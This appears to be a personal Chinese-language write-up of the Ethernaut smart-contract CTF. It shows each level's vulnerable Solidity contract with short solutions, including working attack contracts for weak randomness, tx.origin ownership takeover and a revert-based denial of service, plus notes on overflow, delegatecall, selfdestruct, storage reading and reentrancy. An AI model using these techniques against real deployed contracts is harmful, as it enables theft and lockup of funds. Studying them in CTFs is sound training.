踩坑记录 来自这里 
可见修饰符 public private ethernaut 0.注意事项 
@openzeppelin/contracts/math/SafeMath.sol 的地址已经迁移,做这个靶场的时候得自己手动改成"@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; 
以太坊主网即将进行合并,Rinkeby测试网络将于一年后停止运行,到时候就不知道这个靶场是否还会继续运行 
不同版本的solidity语言特性不一样,可能会有兼容问题 
Rinkeby的测试以太难以大量获取,做题不要一股脑把以太全塞进去了 
 
1.Fallout 描述 1 2 3 4 5 6 7 8 9 10 11 12 13 这很白痴是吧? 真实世界的合约必须安全的多, 难以入侵的多, 对吧? 实际上... 也未必. Rubixi的故事在以太坊生态中非常知名. 这个公司把名字从 'Dynamic Pyramid' 改成 'Rubixi' 但是不知道怎么地, 他们没有把合约的 constructor 方法也一起更名: contract Rubixi {   address private owner;   function DynamicPyramid() { owner = msg.sender; }   function collectAllFees() { owner.transfer(this.balance) }   ... 这让攻击者可以调用旧合约的constructor 然后获得合约的控制权, 然后再获得一些资产. 是的. 这些重大错误在智能合约的世界是有可能的. 
 
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 pragma solidity ^0.6 .0 ; import  '@openzeppelin/contracts/math/SafeMath.sol' ;contract Fallout  {      using SafeMath  for  uint256;   mapping (address  =>  uint) allocations;   address payable public owner;      function  Fal1out ( ) public payable {     owner = msg.sender ;     allocations[owner] = msg.value ;   }   modifier onlyOwner { 	        require ( 	            msg.sender  == owner, 	            "caller is not the owner"  	        ); 	        _; 	    }   function  allocate ( ) public payable {     allocations[msg.sender ] = allocations[msg.sender ].add (msg.value );   }   function  sendAllocation (address payable allocator ) public {     require (allocations[allocator] > 0 );     allocator.transfer (allocations[allocator]);   }   function  collectAllocations ( ) public onlyOwner {     msg.sender .transfer (address (this ).balance );   }   function  allocatorBalance (address allocator ) public view returns (uint) {     return  allocations[allocator];   } } 
 
解: 扔到remix里面调用Fal1out()函数就行了
2.Coin Flip 描述 这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pragma solidity ^0.6 .0 ; import  '@openzeppelin/contracts/math/SafeMath.sol' ;contract CoinFlip  {   using SafeMath  for  uint256;   uint256 public consecutiveWins;   uint256 lastHash;   uint256 FACTOR  = 57896044618658097711785492504343953926634992332820282019728792003956564819968 ;   constructor ( ) public {     consecutiveWins = 0 ;   }   function  flip (bool _guess ) public returns (bool) {     uint256 blockValue = uint256 (blockhash (block.number .sub (1 )));     if  (lastHash == blockValue) {       revert ();     }     lastHash = blockValue;     uint256 coinFlip = blockValue.div (FACTOR );     bool side = coinFlip == 1  ? true  : false ;     if  (side == _guess) {       consecutiveWins++;       return  true ;     } else  {       consecutiveWins = 0 ;       return  false ;     }   } } 
 
解: 以太坊网络经典难题:熵的产生
使用区块哈希产生的随机数很容易被预测(只需要和它在同一个区块上就行了),只需要写个中继合约打进去就行了(原来的合约基础之上改一点点就行了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function exp() public returns (bool) {   uint256 blockValue = uint256(blockhash(block.number.sub(1)));   if (lastHash == blockValue) {     revert();   }   lastHash = blockValue;   uint256 coinFlip = blockValue.div(FACTOR);   bool side = coinFlip == 1 ? true : false;   c = CoinFlip(targetAddress);   c.flip(side); } 
 
注意:  在某些预测随机数的题目中会返还以太,经常出现合约逻辑没有任何问题,但是就是运行出错的问题。
当合约收到一个calldata为空的call时,receive函数会被调用。这个函数会在执行一些以太币转账操作时被执行,常见的以太币转账操作包括.send()、.transfer()函数发起的转账。如果没有receive函数存在,但是存在一个payable属性的fallback函数的话,这个fallback函数会在一次以太币转账中被调用。如果一个合约既没有receive函数也没有payable属性的fallback函数,那么这个合约不能通过常规的交易来接收以太币,并且会抛出一个异常。
3.Telephone 合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pragma solidity ^0.6.0; contract Telephone {   address public owner;   constructor() public {     owner = msg.sender;   }   function changeOwner(address _owner) public {     if (tx.origin != msg.sender) {       owner = _owner;     }   } } 
 
解: tx.orgin指的是交易的发起方,msg.sender是直接调用的一方,所以直接写合约调用这个函数就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pragma solidity ^0.4.11; interface Telephone {     function changeOwner(address _owner) external; } contract exploit {     address targetAddr;     Telephone t;     address myaddr;     function setInstance(address _targetAddr,address _myaddr) public {       targetAddr=_targetAddr;       myaddr= _myaddr;     }     function exp () public {         t = Telephone(targetAddr);         t.changeOwner(myaddr);     } } 
 
4.Token 合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Token {   mapping(address => uint) balances;   uint public totalSupply;   constructor(uint _initialSupply) public {     balances[msg.sender] = totalSupply = _initialSupply;   }   function transfer(address _to, uint _value) public returns (bool) {     require(balances[msg.sender] - _value >= 0);     balances[msg.sender] -= _value;     balances[_to] += _value;     return true;   }   function balanceOf(address _owner) public view returns (uint balance) {     return balances[_owner];   } } 
 
解: 很easy  溢出就完事了转个 115792089237316195423570985008687907853269984665640564039457584007913129639935就行了
5. Delegation 合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Delegate {   address public owner;   constructor(address _owner) public {     owner = _owner;   }   function pwn() public {     owner = msg.sender;   } } contract Delegation {   address public owner;   Delegate delegate;   constructor(address _delegateAddress) public {     delegate = Delegate(_delegateAddress);     owner = msg.sender;   }   fallback() external {     (bool result,) = address(delegate).delegatecall(msg.data);     if (result) {       this;     }   } } 
 
解: 老生常谈, delegatecall相当于是去目标合约那块把相关的函数代码复制过来运行,而在solidity是个编译型语言,且存储使用的是slot[]这个大数组,变量是写死在代码里面的,一旦目标合约的变量环境和当前合约的变量环境不一样,就出大事,这题都做烂了,懒得写了
6.Force 描述 1 2 3 有些合约就是拒绝你的付款,就是这么任性 ¯\_(ツ)_/¯ 这一关的目标是使合约的余额大于0 
 
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Force {/*                    MEOW ?          /\_/\   /     ____/ o o \   /~____  =ø= /  (______)__m_m) */} 
 
解: 在Solidity里面,有个很特殊的自毁函数 selfdestruct(addr); 随便写个合约,塞进去一个selfdestruct函数,然后指向题目
7.Vault 合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Vault {   bool public locked;   bytes32 private password;   constructor(bytes32 _password) public {     locked = true;     password = _password;   }   function unlock(bytes32 _password) public {     if (password == _password) {       locked = false;     }   } } 
 
解 直接getStorageAt就行了,直接看
8.King 合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract King {   address payable king;   uint public prize;   address payable public owner;   constructor() public payable {     owner = msg.sender;       king = msg.sender;     prize = msg.value;   }   receive() external payable {     require(msg.value >= prize || msg.sender == owner);     king.transfer(msg.value);     king = msg.sender;     prize = msg.value;   }   function _king() public view returns (address payable) {     return king;   } } 
 
解: 1 2 3 4 5 6 7 8 9 10 11 contract Attack {     constructor(address payable target) public payable{         require(msg.value == 0.15 ether,"Not enough!");         target.call.gas(1000000).value(0.15 ether)("");     }     receive() external payable {         revert();     } } 
 
当submit题目打算回收“王权”时,它运行到king.transfer(msg.value);这一行时,由于king就是我们合约的地址,而我们合约的receive函数会执行revert,因此它会卡在这个状态无法执行,从而无法取回王权。
这个漏洞在实际合约中被用revert来执行DDos,让程序卡在某个状态无法运行。
麻了,在写攻击合约的时候又踩坑里了https://blockchain-academy.hs-mittweida.de/courses/solidity-coding-beginners-to-intermediate/lessons/solidity-2-sending-ether-receiving-ether-emitting-events/topic/sending-ether-send-vs-transfer-vs-call/ 
transfer:要求接收的智能合约中必须有一个fallback或者receive函数,否则会抛出一个错误(error),并且revert(也就是回滚到交易前的状态)。而且有单笔交易中的操作总gas不能超过2300的限制。transfer函数会在以下两种情况抛出错误:
付款方合约的余额不足,小于所要发送的value 
接收方合约拒绝接收支付 
 
 
send:和transfer函数的工作方式基本一样,唯一的区别在于,当出现上述两种交易失败的情况时,send的返回结果是一个boolean值,而不会执行revert回滚。
 
call: call函数和上面最大的区别在于,它没有gas的限制,使用call时EVM将所有gas转移到接收合约上,形式如下:
  (bool success, bytes memory data) = receivingAddress.call{value: 100}(“”);   将参数设置为空会触发接收合约的fallback函数,使用call同样也可以调用本合约内的函数,形式如下   (bool sent, bytes memory data) = _to.call{gas :10000, value: msg.value}(byte4(keccack256(“function_name(uint256)”,args)));
 
 
9.Re-entrancy 合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 pragma solidity ^0.6 .0 ; import  '@openzeppelin/contracts/math/SafeMath.sol' ;contract Reentrance  {      using SafeMath  for  uint256;   mapping (address  =>  uint) public balances;   function  donate (address _to ) public payable {     balances[_to] = balances[_to].add (msg.value );   }   function  balanceOf (address _who ) public view returns (uint balance) {     return  balances[_who];   }   function  withdraw (uint _amount ) public {     if (balances[msg.sender ] >= _amount) {       (bool result,) = msg.sender .call {value :_amount}("" );       if (result) {         _amount;       }       balances[msg.sender ] -= _amount;     }   }   receive () external payable {} } 
 
解 合约在进行提币时,使用 require 依次判断提币账户是否拥有相应的资产,随后使用 msg.sender.call.value(amount)() 来发送 Ether,处理完成后相应修改用户资产数据。
首先,使用call进行转账是个比较危险的操作,因为call会将当前剩下的gas一并发过去,这就导致目标合约在发送以太过去后会有足够的gas运行攻击合约里的receive函数,而攻击合约里的receive又会去调用目标合约里的转账函数,此时目标合约里记录转账的变量还未被修改,因此又可以继续转账然后如此往复。
10.Elevator 合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pragma solidity ^0.6 .0 ; interface Building  {   function  isLastFloor (uint ) external returns (bool); } contract Elevator  {   bool public top;   uint public floor;   function  goTo (uint _floor ) public {     Building  building = Building (msg.sender );     if  (! building.isLastFloor (_floor)) {       floor = _floor;       top = building.isLastFloor (floor);     }   } } 
 
目标是让top变为true,只需要返回不同结果就可以了
继承抽象合约,然后写函数就完事了。
11.Privacy 很简单的题目,想在区块链上保护自己的隐私,太离谱了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pragma solidity ^0.6 .0 ; contract Privacy  {   bool public locked = true ;   uint256 public ID  = block.timestamp ;   uint8 private flattening = 10 ;   uint8 private denomination = 255 ;   uint16 private awkwardness = uint16 (now);   bytes32[3 ] private data;   constructor (bytes32[3 ] memory _data ) public {     data = _data;   }      function  unlock (bytes16 _key ) public {     require (_key == bytes16 (data[2 ]));     locked = false ;   }    } 
 
解: 根据slot插槽,确定数据在哪里
1 2 3 4 5 6 slot[0]  |                                                                               (bool locked)| slot[1]  |(uint256 ID                                                                                )| slot[2]  |                                 (unit 16 awkwardness)(uint8 denomination)(unit8 flattening)| slot[3]  |(bytes32[0]                                                                                )| slot[4]  |(bytes32[1]                                                                                )| slot[5]  |(bytes32[2]                                                                                )| 
 
合约中要求require(_key == bytes16(data[2]));
只需要web3.eth.getStroageAt(contract.address,5)然后截取结果的前32位发过去就行了
12. Gatekeeper One 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 pragma solidity ^0.6 .0 ; import  '@openzeppelin/contracts/math/SafeMath.sol' ;contract GatekeeperOne  {   using SafeMath  for  uint256;   address public entrant;   modifier gateOne ( ) {     require (msg.sender  != tx.origin );     _;   }   modifier gateTwo ( ) {     require (gasleft ().mod (8191 ) == 0 );     _;   }   modifier gateThree (bytes8 _gateKey ) {       require (uint32 (uint64 (_gateKey)) == uint16 (uint64 (_gateKey)), "GatekeeperOne: invalid gateThree part one" );       require (uint32 (uint64 (_gateKey)) != uint64 (_gateKey), "GatekeeperOne: invalid gateThree part two" );       require (uint32 (uint64 (_gateKey)) == uint16 (tx.origin ), "GatekeeperOne: invalid gateThree part three" );     _;   }   function  enter (bytes8 _gateKey ) public gateOne gateTwo gateThree (_gateKey) returns (bool) {     entrant = tx.origin ;     return  true ;   } } 
 
解: gateOne() 这个好过,写个合约就行了
gateTwo() 这个也好过….?应该?,中继合约里面.call限制一下数字?
13.Privacy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 pragma solidity ^0.6 .0 ; import  '@openzeppelin/contracts/token/ERC20/ERC20.sol' ; contract NaughtCoin  is ERC20  {            uint public timeLock = now + 10  * 365  days;   uint256 public INITIAL_SUPPLY ;   address public player;   constructor (address _player )    ERC20 ('NaughtCoin' , '0x0' )   public {     player = _player;     INITIAL_SUPPLY  = 1000000  * (10 **uint256 (decimals ()));               _mint (player, INITIAL_SUPPLY );     emit Transfer (address (0 ), player, INITIAL_SUPPLY );   }      function  transfer (address _to, uint256 _value ) override public lockTokens returns (bool ) {     super .transfer (_to, _value);   }      modifier lockTokens ( ) {     if  (msg.sender  == player) {       require (now > timeLock);       _;     } else  {      _;     }   }  }  
 
解: 你写你的,我用我的
ERC20有自己的转账函数,咱为啥用他的转账函数呢?
16. delegate过
17. Recovery